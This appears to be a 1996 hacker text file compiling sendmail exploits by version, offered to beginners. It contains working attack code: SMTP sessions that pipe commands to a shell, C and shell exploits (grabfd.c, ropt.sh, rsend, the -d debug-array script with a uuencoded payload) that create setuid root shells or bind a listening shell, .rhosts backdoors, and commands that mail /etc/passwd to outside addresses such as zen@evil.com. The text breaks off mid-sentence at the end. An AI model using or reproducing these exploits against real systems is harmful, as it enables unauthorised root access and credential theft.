home *** CD-ROM | disk | FTP | other *** search
Text File | 1997-09-25 | 58.8 KB | 1,977 lines |
- Data collected by: Zhart
- Date: 26/11/96
-
- I wanna say that I don't take any credit for this text, I simply collected
- and reorganized all the info that was all around for my harddisk (and in my
- head), just commented some bugs or added something; sometimes I haven't
- even tested the source codes.
- I started compiling this list for my own use, then I thought it would be
- interesting also for other ppl, mainly beginners, or maybe nobody. For any
- comments you can reach me on L.O.R.E. bbs
-
-
- -----------------------------------------------------------------
- Hole Version of Sendmail
- -----------------------------------------------------------------
- = WIZ = *oLD*
- = DEBUG = *oLD*
- = TURN = *oLD*
- = OVERFLOW INPUT BUFFER = *oLD*
- = DECODE ALIAS = *VrFy*
- = qf SunOS = *SunOS-sendmailV5.1*
- = -oR SunOS = *SunOS-sendmailV5.22*
- = -oM = *8lgm6Dec1994-SMI-Sendmail(sm based on SunOS)*
- = OVERWRITE FILES = *FiXED iN 5.59*
- = -oQ = *DuNNo*
- = |PROGRAM = *TeSTeD oN 5.55*
- = .forward = *5.61*
- = TAIL = *TeSTeD oN 5.65*
- = -C = *oLD*
- = 4.1 = *TeSTeD oN 4.1*
- = -d########### = *8.X.X <8.6.7*
- = -oE/filename bounce= *8.6.7*
- = 8.6.9 ident = *8.6.9*
- = 8.6.9 newlines = *8.6.9*
- = 8.6.10 ident/newlines = *8.6.10*
- = HP-UX = *HP-UX 9.x*
- = 8.7.5 gecos = *8.X.X <8.8.0* *TeSTed oN 8.6.12*
- = mime7to8() = *8.8.0*
- = smtpd = *8.7-8.8.2*
- ----------------------------------------------------------------
-
- WIZ = *oLD* =
-
- The oldest and easiest hole in sendmail is the 'wiz' backdoor, now very
- difficult to find. At the connect just type 'wiz' and then 'SHELL' ,and
- you're in a root shell. [ it can be set by configuring sendmail.cf file ...
- 'OW' option immediately followed by the encrypted password ]
-
- DEBUG = *oLD* =
-
- This bug was used by the inet worm by Robert T. Morris Jr. Its exploiting
- allows anyone to execute any program on a remote machine. It simply
- consists in giving the 'debug' command, use a pipe to /bin/sh as recipient
- and feed the data with the commands you want to be executed on the remote
- machine.
-
- [ If sendmail server answers with "200 Debug set" to the 'debug' command
- there are good chances the bug is still present ]
-
- Example :
-
- #!/bin/sh
- telnet << EOF
- open fucked.host.edu 25
- debug
- mail from: </dev/null>
- rcpt to: <\"|sed -e '1,/^$/'d | /bin/sh ; exit 0\">
- data
-
- cp /bin/sh /tmp/sushi # or alternatively:
- chmod 4755 /tmp/sushi # echo "+ +" >> /.rhosts
- .
- EOF
-
- TURN = *oLD* =
-
- TURN command allows mail to be stolen ... [ Don't bother, old stuff! ]
-
- OVERFLOW INPUT BUFFER = *oLD* =
-
- Cause the sendmail deamon to lock up ... [ old stuff! Just for collection
- ;) ]
-
- DECODE ALIAS = *VrFy* =
-
- If '/etc/aliases' contains "|/usr/bin/uudecode" anyone can send mail to
- decode, write to any file onwed by daemon, if they can connect to sendmail
- daemon, can write to any file owned by any user.
-
- To test the existence of decode alias from a sendmail connection do:
-
- % telnet target.com
- Trying 127.127.127.127
- Connected to target.com
- Escape character is '^]'.
- 220 target.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
- expn decode
- 250 <"|/usr/bin/uudecode">
- quit
-
- 1SecExploit:
-
- % echo "myhost.com" | uuencode /usr/bin/.rhosts | mail decode@target.com
-
- MoreThan1SecExploit:
-
- % cat > outfile # Let's make our .rhosts file
- + +
- ^C
- % uuencode outfile /usr/bin/.rhosts
- begin 644 /bin/.rhosts
- $*R'K"O\
-
- % telnet fuqdhost.com 25
- 220 fuqdhost.com SunOS Sendmail 8.6.1 #5 ready at Fri, 13 May 99 00:00 (EST)
- VRFY decode
- 250 <|/usr/bin/uudecode>
- MAIL FROM: bin
- 250 ... Sender Okay
- RCPT TO: decode
- 250 ... Recipient Okay
- DATA
- 354 Enter mail, end with "." on a line by itself
- begin 644 /bin/.rhosts
- $*R'K"O\ # which is just "+ +" uuencoded
-
- end
- .
- 250 Mail accepted
- quit
- 221 fuqdhost.com closing connection
- Connection closed by foreign host.
- % rlogin fuqdhost.com -l bin
- $
-
- If no home directories are known or writable, an interesting variation of
- this is to create a bogus /etc/aliases.pag file that contains an alias with
- a command you wish to execute on your target. This may work since on many
- systems the aliases.pag and aliases.dir files, which control the system's
- mail aliases, are writable to the world.
-
- evil % cat decode
- bin: "| cat /etc/passwd | mail zen@evil.com"
- evil % newaliases -oQ/tmp -oA`pwd`/decode
- evil % uuencode decode.pag /etc/aliases.pag | mail decode@victim.com
- evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null
-
- qf SunOS = SunOS-sendmailV5.1 =
-
- The method used by sendmail version 5 to open a control file
- [/usr/spool/mqueue/qf########] is unsecure. A race condition exists whereby
- another process may obtain a control-file file descriptor, opened for write
- access. Sendmail v5, during execution, sets umask(0), which is an insecure
- mask. In order not to leave open control files with mode 666, sendmail v5
- uses chmod(2) to set a secure file mode. However this is a race condition,
- as we can obtain an open file descriptor for write by opening the control
- file before the call to chmod(2).
-
- IMPACT: Local users can write their own control files, and run programs
- as any user, bar root.
-
- EXPLOIT:
-
- grabfd.c:
-
- /*
- * grabfd.c
- * usage: grabfd username command-file
- *
- * username: user to execute 'command-file' as.
- * command-file: file containing 10 lines of shell commands to execute.
- */
-
- #include <stdio.h>
- #include <unistd.h>
- #include <sys/fcntl.h>
- #include <sys/param.h>
-
- #ifndef SENDMAIL
- #define SENDMAIL "/usr/lib/sendmail"
- #endif
-
- #ifndef SPOOL_DIR
- #define SPOOL_DIR "/usr/spool/mqueue"
- #endif
-
- char myqfile[] = "D%s\nC%s\nR|/usr/ucb/tail|/bin/sh\n";
-
- main(argc,argv)
- int argc;
- char **argv;
- {
- int pid, fd;
- char tbuf[MAXPATHLEN], sysbuf[BUFSIZ];
-
- if (argc != 3) {
- (void)fprintf(stderr, "%s: user file\n",
- argv[0]);
- exit(1);
- }
-
- if (getpwnam(argv[1]) == NULL)
- (void)fprintf(stderr, "%s: user %s unknown (error
- ignored)\n",
- argv[0],
- argv[1]);
-
- if (access(argv[2], F_OK) == -1) {
- (void)fprintf(stderr, "%s: %s does not exist.\n",
- argv[0],
- argv[2]);
- exit(1);
- }
-
- if (access(SPOOL_DIR, X_OK) == -1) {
- (void)fprintf(stderr, "%s: cannot access %s.\n",
- argv[0],
- SPOOL_DIR);
- exit(1);
- }
-
- if (pid=fork()) {
-
- if (pid == -1) {
- (void)perror("fork");
- exit(1);
- }
-
- (void)sprintf(tbuf, "%s/tfAA%05d", SPOOL_DIR, pid);
- (void)sprintf(sysbuf, myqfile, argv[2], argv[1]);
-
- for (;;)
- if ((fd=(open(tbuf, O_WRONLY, 0))) != -1) {
- (void)printf("%s: grabbed queue fd.\n",
- argv[0]);
- (void)wait();
- (void)ftruncate(fd, 0);
- (void)write(fd, sysbuf, strlen(sysbuf));
- (void)close(fd);
- if(execl(SENDMAIL,
- "sendmail", "-q", (char *)0) == -1) {
- (void)perror("execl");
- exit(1);
- };
- }
- } else {
- (void)close(0);
- if (open("/etc/motd", O_RDONLY, 0) == -1) {
- (void)perror("open");
- exit(1);
- };
-
- if (execl(SENDMAIL,
- "sendmail",
- #ifdef sun
- "-os",
- #endif
- "-odq", getlogin(), (char *)0) == -1) {
- (void)perror("execl");
- exit(1);
- };
- }
- exit(1);
- }
-
- ::::::::::::::::::::::::::::::::: END OF HOLE ::::::::::::::::::::::::::::
-
- -oR SunOS = SunOS-4.1.X-sendmail V5.22 =
-
- From 8lgm:
-
- DESCRIPTION: The -oR option uses popen() to return undeliverable mail.
-
- IMPACT: Local users can obtain root access.
-
- -------------------------- ropt.sh ---------------------------------------
-
- #!/bin/sh
- #
- # Syntax: roption host
- #
- # host is any system running sendmail (except localhost).
- #
- # This exploits a flaw in SunOS sendmail(8), and attempts
- # create a suid root shell
- #
- # Written 1995 by [8LGM]
- # Please do not use this script without permission.
- #
-
- PROG="`basename $0`"
- PATH=/usr/ucb:/usr/bin:/bin export PATH
- IFS=" " export IFS
-
- # Check args
- if [ $# -ne 1 ]; then
- echo "Syntax: $PROG host"
- exit 1
- fi
-
- # Check we're on SunOS
- if [ "x`uname -s`" != "xSunOS" ]; then
- echo "Sorry, this only works on SunOS"
- exit 1
- fi
-
- PROG="`basename $0`"
-
- EXECME=/tmp/HotterThanMojaveInMyHeart
-
- # Create EXECME.c
-
- cat > $EXECME.c << 'EOF'
- main(argc,argv)
- int argc;
- char *argv[];
- {
- chown("/tmp/InfamousAngel", 0, 0);
- chmod("/tmp/InfamousAngel", 04755);
- }
- EOF
-
- cc -o $EXECME $EXECME.c
-
- # Check we have EXECME
-
- if [ ! -x $EXECME ]; then
- echo "$PROG: couldnt compile $EXECME.c - check it out"
- exit 1
- fi
-
- /bin/cp /bin/sh /tmp/InfamousAngel
- # Run sendmail
-
- /usr/lib/sendmail -oR$1 -f";$EXECME;" -t << 'EOF'
- To: No1InParticular
-
- Hows it goin
- EOF
-
- exec /tmp/InfamousAngel
-
- ................................ Cut HeRe ...................................
-
- -oM = 8lgm6Dec1994-SMI-Sendmail(based on SunOS sm) =
-
- Sun sendmail allows -oM to set any macro, and still retains root privilege.
- ( The list of 'trusted' macros should be limited. )
-
- At time of writing (Dec 1994) affected sendmail were: " SunOS 4.x Sendmail
- - all versions including latest 4/5/94 Sendmail Jumbo Patch 100377-15 "
-
- After further investigation, it has been discovered that SVR4 based ports
- include sendmail(8) based on SMI code.
-
- EXPLOIT:
-
- 1. Create the file sunsendmailcp
-
- 8>------------------------- cut here ---------------------------
- #!/bin/sh
- #
- # sunsendmailcp from to
-
- if [ $# -ne 2 ]; then
- echo usage: `basename $0` from to
- exit 1
- fi
-
- rm -f /usr/tmp/dead.letter
- if [ -f /usr/tmp/dead.letter ]; then
- echo sorry, cant continue - /usr/tmp/dead.letter exists
- fi
-
- if [ ! -r $1 ]; then
- echo $1 doesnt exist or is unreadable
- exit 1
- fi
-
- ln -s $2 /usr/tmp/dead.letter
- /usr/lib/sendmail -L0 '-oM#anything' $USER < $1
- rm /usr/tmp/dead.letter
- exit 0
- 8>------------------------- cut here ---------------------------
-
- 2. Execute the command % ./sunsendmailcp sourcefile targetfile and target
- file will either be appended to or created.
-
- OVERWRITE FILES = FiXED iN 5.59 =
-
- Remote users are able to write to any non-root owned files in the system.
- This bug was definitely fixed in version 5.59 from Berkeley; despite the
- messages below, for versions of sendmail previous to 5.59, the "evil.com"
- gets appended, despite the error messages, along with all of the typical
- mail headers, to the file specified:
-
- % cat evil_sendmail
- telnet victim.com 25 << EOSM
- rcpt to: /home/zen/.rhosts
- mail from: zen
- data
- random garbage
- .
- rcpt to: /home/zen/.rhosts
- mail from: zen
- data
- evil.com
- .
- quit
- EOSM
-
- evil % /bin/sh evil_sendmail
- Trying 128.128.128.1
- Connected to victim.com
- Escape character is '^]'.
- Connection closed by foreign host.
-
- evil % rlogin victim.com -l zen
- Welcome to victim.com!
- victim %
-
- '-oQ' = DuNNo =
-
- This bug involves the '-q' and the '-oQ' options and causes any file to be
- deleted and read. You should create a 'qf'-type file, in the
- /usr/spool/mqueue dir, like this:
-
- P28
- T599831504
- Dfilename
- Suser
- Ruser
- H?P?return-path:
- H?F?from: user (User Name)
- H?x?full-name: User Name
- HTo: user
- Hsubject: Gotcha
-
- after the command `sendmail -q -oQ' is issued, file `filename' will be
- deleted and its content will be mailed to 'user'.
-
- - - - - The 'oQ' sets the 'Q' option ,which selects the dir in which to
- queue messages The 'q' make the daemon to process the queue - - - -
-
- '|PROGRAM ' = TeSTeD oN 5.55 = ...may be others
-
- Anyone can specify arbitrary shell commands and/or pathnames for the sender
- and/or destination address. A typical attack to get the password file is:
-
- % telnet target.com 25
- Trying 123.456.789.0...
- Connected to target.com
- Escape character is '^]'.
- 220 target.com Sendmail 5.55 ready at Mon, 12 Dec 93 23:51
- mail from: "|/bin/mail me@myhost.com < /etc/passwd"
- 250 "|/bin/mail me@myhost.com < /etc/passwd"... Sender ok
- rcpt to: mickeymouse
- 550 mickeymouse... User unknown
- data
- 354 Enter mail, end with "." on a line by itself
- .
- 250 Mail accepted
- quit
- Connection closed by foreign host.
- %
-
- .forward = 5.61 =
-
- When delivering to files and programs, `sendmail' does not do an
- `initgroups(3)' after forking on final delivery. As a result, the sender's
- group list remains in effect throughout this stage. This is particularly
- serious when root is sending the mail since a program executed out of a
- `.forward' file gains interesting privileges like `wheel' and `kmem'. A
- related hole can be broken down into a "problem" and an "aggravation". The
- "problem" is that queued local mail no longer has the original recipient's
- uid associated with it. Control files only store a list of exploded
- recipients (i.e. users, files and programs) -- one per line -- each
- prefaced with an `R'.
-
- So, after an address resolves to the local machine and has undergone alias
- and ".forward" expansion, if the letter happens to get queued, on the
- succeeding queue run sendmail doesnt know who to run the final delivery as.
- The "aggravation" is that, when doing this final delivery of queued local
- mail, sendmail will `setuid()' itself to the sender's uid if it is
- available; in general, the sender's uid will be used when the sender is on
- the local machine. As a result, a user can run a program as anyone who
- sends them mail from the local machine. There is also an added
- "complication"; the default uid and gid are also set to the sender when
- delivering mail! Since the default uid and gid are only used when calling
- `setuid()' and `setgid()' (to reset the uid/gid before doing final
- delivery), these variables should never be set to the sender.
-
- |------------------------------ Local compromise
- ------------------------------|
-
- Save the following program as "sploit.c" changing MYUID to your user id.
- Compile "sploit.c" producing the executable "sploit" in your home
- directory. Create a ".forward" file containing:
-
- \<user>, "|<path>/sploit"
-
- [change to your username so you dont lose mail (unless, of course, you'd
- rather lose mail) and set <path> to your home directory path (where sploit
- lives)] Now, as another user, send yourself some mail. Note that the sploit
- program defers delivery the first time thru; check out "/tmp/whoami" to see
- that sploit ran as you. Now, run your mail queue (or open a beer and wait
- for sendmail to run it). After the queue run, note that the sploit accepted
- the letter and returned a successful exit status; check out "/tmp/whoami"
- again to see that this time, sploit ran as the sender! You can also use
- "sploit.c" to test for the root initgroups() hole by checking the group
- list when "sploit" was first called.
-
- #include <sys/param.h>
- #include <sys/types.h>
- #include <stdio.h>
- #include <sysexits.h>
- #include <pwd.h>
- #include <grp.h>
-
- #define MYUID 777 /* your uid (i.e. your ".forward" invokes this) */
-
- #definegetuser(uid)getpwuid(uid)->pw_name/* assume valid uid */
- #definegetgrp(gid)getgrgid(gid)->gr_name/* assume valid gid */
-
- main()
- {
- FILE *fp;
- uid_t myuid;
- int i, rval, ngrps, grplst[NGROUPS];
-
- if ((myuid = getuid()) == MYUID)
- rval = EX_TEMPFAIL;
- else
- rval = EX_OK;
-
- if ((fp = fopen("/tmp/whoami", "a")) != NULL) {
-
- /* real user/group ids */
- fprintf(fp, "%susr:%s grp:%s",
- (rval == EX_OK)? "": "Def> ",
- getuser(myuid), getgrp(getgid()));
-
- /* effective user/group ids */
- fprintf(fp, " eusr:%s egrp:%s",
- getuser(geteuid()), getgrp(getegid()));
-
- /* group list */
- if ((ngrps = getgroups(NGROUPS, grplst)) > 0) {
- fprintf(fp, " grps:");
- for (i = 0; i < ngrps; i++)
- fprintf(fp, " %s", getgrp(grplst[i]));
- }
- fprintf(fp, "\n");
-
- (void) fclose(fp);
- }
-
- exit(rval);
- }
-
- --------------------- CuT HeRe -------------------------------------------------
-
- ===================== trick for sendmail 5.61 ===========================
- /*
- * 1) set the #define UID, at the top of the program to be your's
- * 2) create a file: /tmp/.shell, which is a script to make a suid shell
- * 3) compile the program and name it say, /tmp/.magic
- * 4) create a .forward file containing: '|/tmp/.magic'
- * 5) 'telnet yoursystem 25' and send yourself some fakemail from whoever
- * you want a shell from (but not root :-( RATS!)
- * 6) wait abit, it usually works ...
- */
-
- #define UID 777 /* change to your uid */
-
- #include <sys/param.h>
- #include <sys/types.h>
- #include <stdio.h>
- #include <sysexits.h>
- #include <pwd.h>
- #include <grp.h>
-
- #define SHELLFILE "/tmp/.shell"
-
- main()
- int myuid, rval;
-
- if ((myuid = getuid()) == UID)
- rval = EX_TEMPFAIL;
- else {
- rval = EX_OK;
- system(SHELLFILE);
- }
- exit(rval);
- }
-
- ------------------------------ CuT HeRe --------------------------------
-
- Tail creates a daemon shell = TeSTeD oN 5.65 =
-
- Through this sendmail bug, it is possible to become uid daemon (or whatever
- your sendmail delivers non-user mail as), or the uid of any user. The
- specifics are as follows:
-
- * The envelope From: field, or possibly the Errors-To: header (but I've
- not tested it), must be set to the pipe through a bounce of your mail
- will be returned. Typically this is executed by uid daemon.
-
- * An error must be caused in the message such that sendmail will send a
- bounce to the From: envelope (or possibly to Errors-To:).
-
- These two conditions are all that is necessary to exploit the bug.
- Typically the simplest thing to pipe to is
-
-
- |/usr/ucb/tail|/usr/bin/sh
- aka |/usr/ucb/tail|/bin/sh
-
- That's for SunOS 4.1.3. Other systems may have tail in /usr/bin or /bin/;
- the PATH is important in the case.
-
- The condition we have used to generate an error is an invalid
- Return-Receipt-To: header. There are a plethora of other ways to do so, and
- some of them may depend on the specifics of your sendmail; be forewarned.
-
- The last ten lines of your message should contain whatever you wish to do
- as uid daemon.
-
- ---cut here
- [panix!jhawk] |% telnet panix.com 25
- Trying 198.7.0.2 ...
- Connected to panix.com.
- Escape character is '^]'.
- 220 panix.com 5.65c/IDA-1.4.4 Sendmail is ready at Mon, 8 Nov 1993 19:41:13
- -0500
-
- HELO
- 250 Hello panix.com, why do you call yourself ?
- MAIL FROM: |/usr/ucb/tail|/usr/bin/sh
- 250 |/usr/ucb/tail|/usr/bin/sh... Sender ok
- RCPT TO: root
- 250 root... Recipient ok
- DATA
- 354 Enter mail, end with @.@ on a line by itself
- From: jhawk"panix.com (John Hawkinson)
- To: jhawk"panix.com (John Hawkinson)
- Return-Receipt-To: |foobar
- Subject: This is a large hole in the ground.
- X-Disclaimer: We take no responsibility for what might happen
-
- Hi there. Wanna play ball?
-
- #!/bin/sh
- #The above line is just in case :-)
- echo This is a Serious Bug > /tmp/bug
- echo id reports: >> /tmp/bug
- /usr/bin/id >> /tmp/bug
- echo Fixing this would be good >> /tmp/bug
- cp /bin/sh /tmp/bugshell
- chmod u+s /tmp/bugshell
- echo /tmp/bugshell contains a setuid daemon shell >> /tmp/bug
- chmod ugo+rx /tmp/bugshell
- .
- 250 Ok
- quit
- 221 panix.com closing connection
-
- ------------------------- CuT HeRe ----------------------------------------
-
- "-C" = oLD =
-
- Read any file. Using the '-C' option causes an alternative configuration
- file to be used, if the file is a protected file which is actually not a
- send mail configuration file, `sendmail' will print out some contents of
- the file as an error message.
-
- It is reported working on DYNIX (3.0.14) and ULTRIX (2.X)
-
- $ sendmail -C /etc/shadow
- <contents of /etc/shadow>
-
-
- 4.1 = TeSTeD oN 4.1 =
-
- It allows remote access as bin...and since bin owns the /etc dir you can
- gain root.
-
- Rsend needs mconnect, which is a binary, which just connects to the place
- and sends the data. You can get rid the of ()'s at the beginninga and end
- of the script, and get rid of the mconnect line, and run like ./rsend >
- file, then ascii U/L the file to port 25...If it says a lot of stuff like
- "Command Ununown" 25 times, then it didn't work.
-
- Here's rsend:
-
- #!/bin/sh
- # Copyright, 1992, 1993 by Scott Chasin (chasin@crimelab.com)
- #
- # This material is copyrighted by Scott Chasin, 1992, 1993. The
- # usual standard disclaimer applies, especially the fact that the
- # author is not liable for any damages caused by direct or indirect
- # use of the information or functionality provided by this program.
- #
- # Description:
- #
- # Exploit NEW sendmail hole and bind a port so we can spawn a program.
- # Not for distribution under any circumstances
- #
- # Usage: smail
- # default: smail <7001>
-
- port=$3
- user=$2
- cmd=$4
-
- if [ -z "$2" ]; then
- user=daemon
- fi
-
- if [ -z "$3" ]; then
- port=7002
- fi
-
- if [ -z "$4" ]; then
- cmd="/bin/csh -i"
- fi
-
- (
- sleep 4
- echo "helo"
- echo "mail from: |"
- echo "rcpt to: bounce"
- echo "data"
- echo "."
- sleep 3
- echo "mail from: $user"
- echo "rcpt to: | sed '1,/^$/d' | sh"
- echo "data"
- echo "cat > /tmp/a.c <
- #include <sys/signal.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <netdb.h>
- reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac;
- int **av;{struct sockaddr_in mya;struct servent *sp
- ;fd_set muf;int myfd,new,x,maxfd=getdtablesize();
- signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM,
- 0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr,
- sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp"))
- ==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port
- =htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd,
- (struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd,
- 1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if
- (select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto
- loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork()
- ==0){for(x=2;x
-
- Or you can also ul this to port 25.
- BTW, it gets you in by running a program that listens to port 7008...
- you telnet to port 7008. You can then proceed to create new users in
- /etc/passwd because you own the /etc dir...you need to type a ; after every
- command, and it gives you 1 error every command...ignore it. The process
- may be noticed by a few admins.
-
- helo
- mail from: |
- rcpt to: bounce
- data
- .
- mail from: bin
- rcpt to: | sed '1,/^$/d' | sh
- data
- cat > /tmp/a.c <
- #include <sys/signal.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <netdb.h>
- reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac;
- int **av;{struct sockaddr_in mya;struct servent *sp
- ;fd_set muf;int myfd,new,x,maxfd=getdtablesize();
- signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM,
- 0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr,
- sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp"))
- ==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port
- =htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd,
- (struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd,
- 1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if
- (select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto
- loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork()
- ==0){for(x=2;x
-
- -d########### = TeSTeD oN SunOS & SunOS with Sendmail8.6.4 =
-
- This bug is present in all 8.X.X sendmail versions prior to 8.6.7 Here
- follow excerpts from Michael Widner's message on Bugtraq with his script
- for SunOs and Solaris, and another script tested on SunOS 5.2 with sendmail
- 8.6.4:
-
- "The important thing to know is that if your sendmail crashes when you pass
- it something like -d387654321 then it can most likely be exploited to gain
- root access.
-
- Without going into much detail, -dx.y writes y into the debug array as
- array[x]=y. Range checking is not performed properly on x, so it's possible
- to pass negative integers that pass the range check. Find a key location
- before the debug array, over write it, and you're in business.
-
- The problem in trying to create a generic script is that the 'key'
- locations have different offsets from the debug array for every version of
- sendmail. Sometimes they're easy to locate if you can get a core, but
- sometimes it is tough to get a core w/o already being root. Also, sometimes
- a core tells you nothing.
-
- The following script is Sun specific, and patches are now available for all
- versions of Sun sendmail. The script creates a suid root owned copy of
- /bin/sh and places it in /tmp. If you're hacking solaris, I'd suggest you
- choose some program other than /bin/sh. "
-
- #!/bin/sh
- # This script takes advantage of sendmail's (mis)interpretation of
- # very large unsigned ints as signed ints when accessing the debug
- # array. As it, it will work with the 8 versions of sun sendmail
- # that I have access to. Perhaps I'll update it if I find new
- # versions of sun sendmail.
- # NOTE: This is a Sun specific script. Don't expect it to work with
- # any non-sun sendmail.
- # -Michael R. Widner (atreus) 3/25/94
- #
- # usage: smdhole [/path/to/suid/sendmail]
- #
-
- # add /usr/ucb to path so solaris can find `whoami` (4/18/94)
- path=$path:/usr/ucb
-
- if [ $1x = x ]; then
- sendmail=/usr/lib/sendmail
- else
- echo "Trying to abuse $1."
- sendmail=$1
- fi
-
- sm_size=`echo \`ls -l $sendmail\` | cut -d" " -f4,5 | sed "s/[^0-9]//g`
-
- # prefix and suffix for -1 as unsigned integer. Actually, this is
- # off by two. you figure out why.
- prefix=42949
- suffix=67297
-
- case $sm_size in
- 132064)
- n1=${prefix}52864
- n2=${prefix}52865
- n3=${prefix}52866
- echo Patched solaris w/o mx.
- ;;
- 134752) # ug! dropped a 0 before. fixed 4/18/94
- n1=${prefix}01656
- n2=${prefix}01657
- n3=${prefix}01658
- echo Patched solaris sendmail.mx
- ;;
- 130860)
- n1=${prefix}53016
- n2=${prefix}53017
- n3=${prefix}53018
- echo Un-patched solaris w/o mx.
- ;;
- 133548) # ug! dropped a 0 before. fixed 4/18/94
- n1=${prefix}01808
- n2=${prefix}01809
- n3=${prefix}01810
- echo Un-patched solaris sendmail.mx
- ;;
- 139264)
- n1=${prefix}49609
- n2=${prefix}49610
- n3=${prefix}49611
- echo Sun 4.1.3 sendmail - could be either of two versions
- n4=${prefix}49265
- n5=${prefix}49266
- n6=${prefix}49267
- ;;
- 155648)
- n1=${prefix}46953
- n2=${prefix}46954
- n3=${prefix}46955
- echo Sun 4.1.3 sendmail.mx - could be either of two versions
- n4=${prefix}46609
- n5=${prefix}46610
- n6=${prefix}46611
- ;;
- *)
- echo "I don't know what version of sendmail $sendmail is."
- echo -n "Look for other versions of sendmail[.mx] on the "
- echo "system and re-run this as:"
- echo " $0 /path/to/another/suid/sendmail"
- echo
- echo "Let me see if I can suggest anything..."
- find /usr/lib /var/sadm/patch -name "*sendm*" -perm -4001
- -ls 2>/dev/null
- exit 1
- ;;
- esac
-
- cat << EOM > /tmp/sendmail.cf
- DMether
- DRlocalhost
- CRlocalhost
- CDMailer-Daemon root daemon uucp
- DlFrom \$g \$d
- Do.:%@!^=/[]
- Dq\$g\$?x (\$x)\$.
- De\$j nothing
- OA./aliases
- OF0666
- Og1
- OL0
- Oo
- OPPostmaster
- OQ.
- Os
- Ou1
- T root daemon uucp
-
- H?F?From: nobody
-
- Mlocal, P=/tmp/in.telnet, F=flsSDFMmnP, S=10, R=20, A=mail -d \$u
- Mprog, P=/tmp/in.telnet, F=lsDFMeuP, S=10, R=20, A=sh -c \$u
-
- S0
- R\$+ \$#local \$:\$1 just rewrite
- EOM
-
- cat $0 | sed "s:atreus::" | uudecode
- uncompress /tmp/in.telnet.Z
- chmod 755 /tmp/in.telnet
-
- mkdir /tmp/mail
- cp /tmp/sendmail.cf /tmp/mail
-
- cp /bin/sh /tmp/newsh
- chmod 666 /tmp/newsh
-
- $sendmail -d${n1}.116,${n2}.109,${n3}.112 `whoami` <Q2RA)! %(atreus
- M5$,).9]$%38!E!= H,(LP$LV*KJ*8(15)".N(AI2!6Q*(@ HPM6U6<4A@716atreus
- M+H@"%QQ:D@!. ":U%L;2T'36E%H$D 0 H"!ML><#H0N.!B?A-(#4!5>PGGT9atreus
- M068Z7==^%;%A[ BS!U6]5@P*#4V;. $L*)YY,P%@$LP"B' [-X#=O=56&'N!atreus
- M]4'J<$(""V!.*1]U2@&Q4TJHY5J8,@FC%"+^00 3&, (" HC_B$@" 1@D*$@atreus
- M))R!$, GQ!0$'1^!' ,. H&@4;"CP$@ EIKMFFatreus
- MG%-6>24;66X)0AMAP %'&FZ< 8(98:3!1AURE)'G0A3TR::;<'H)IIADXKG0atreus
- M"W2T <<+;I1QQQQH%#35+Y",%40(+OET@!X5 @ )!2) AT MN;AF:Z\Q@K atreus
- M 7F8E4([MJZ1:X<?AOC0JY DAY( ((!3UR__$-: )!)D"XT 8%!FEXLY)3"Latreus
- M)>02\*LD[8X+Q )U'20!M_U\!$H DDB24W8*6"M*N."$H@(8 D!#P'B?P&03atreus
- M0J 0\@,_,N"K\'C0@BBB5%15>Y(TV')3%QCH I *.%R 0BI51#1!36 $ 4(1>7X0Y$5)%M!!R"TL$L(50[ atreus
- MI8N8&A"-4WJ:/7H#?P%H]060%G&Z00P!DP-, 8NA9 D\&B*,Gatreus
- M"Y$-X$=!(M1=D R9%R"'4$06M$/F!^0@E$)%? ^*GDO@R0% IQ I") %>LI"atreus
- M9 A@BH*,@!0("0-/B**G-)"/#GJ20^9,(Q1H((00HSM ')Z'D$F,3@#3$ HXatreus
- M$"**R!@@#P[$ D)JX<)$L&^%!4%&_/X'+&1\H0QT* ,>,/A#,H2!#F$ P _=atreus
- M0 8 S &):G(B%.GP!3.PX0U'5.(/\9 &(B**44HL@QOLD(8RN4&+1,B"$X+0atreus
- MA"0,(8Q<).(8T-"&-S3Q"W-\PQW.^(4^?I&/X88M=U*(0N_@%atreus
- M,M2A#6W(0R/+,(:L]?$+0Z#"$Z3P!28D80I4Z*,6OT $37+2DZ 4Y27)\(8Oatreus
- MG.&*8@@#&_!(AS?(80ZC9*4K82G+1M;REHJ,8R,?&1"=*T8I:]*(8S:A&-\K1CGKTHR -J4A'2M*2FO2D*$VI2E?*TI:Z]*4Patreus
- MC:E,9TK3FMKTICC-J4YWRM.>^O2G0 VJ4(=*U*(:]:A(3:I2E\K4ICKUJ5"-atreus
- MJE2G2M6J6O6J6,VJ5K?*U:YZ]:M@#:M8QTK6LIKUK&A-JUK7RM:VNO6M<(VKatreus
- M7.=*U[K:]:YXS>M2_0,$UP&+!"'V!BPN"(5D !B !W4"6)U0;R&5*P Ratreus
- M$()#[@$ L3XQ7"" 0;*HO H43OL'/SQ+%= ^+1]!"YT(VN=*=+atreus
- MW>I:][K8S:YVM\O=[GKWN^ -KWC'2][RFO>\Z$VO>M?+WO:Z][WPC:]\YTO?atreus
- +^MKWOOC-KW[WFUS=atreus
- atreus
- endatreus
- ----------------------- CuT HeRe -------------------------------------
-
- Here it is the other script:
-
- /* What follows is a sample run exercising the latest sendmail hole and the
- script used to exploit this hole. This is a re-send; I neglected to escape
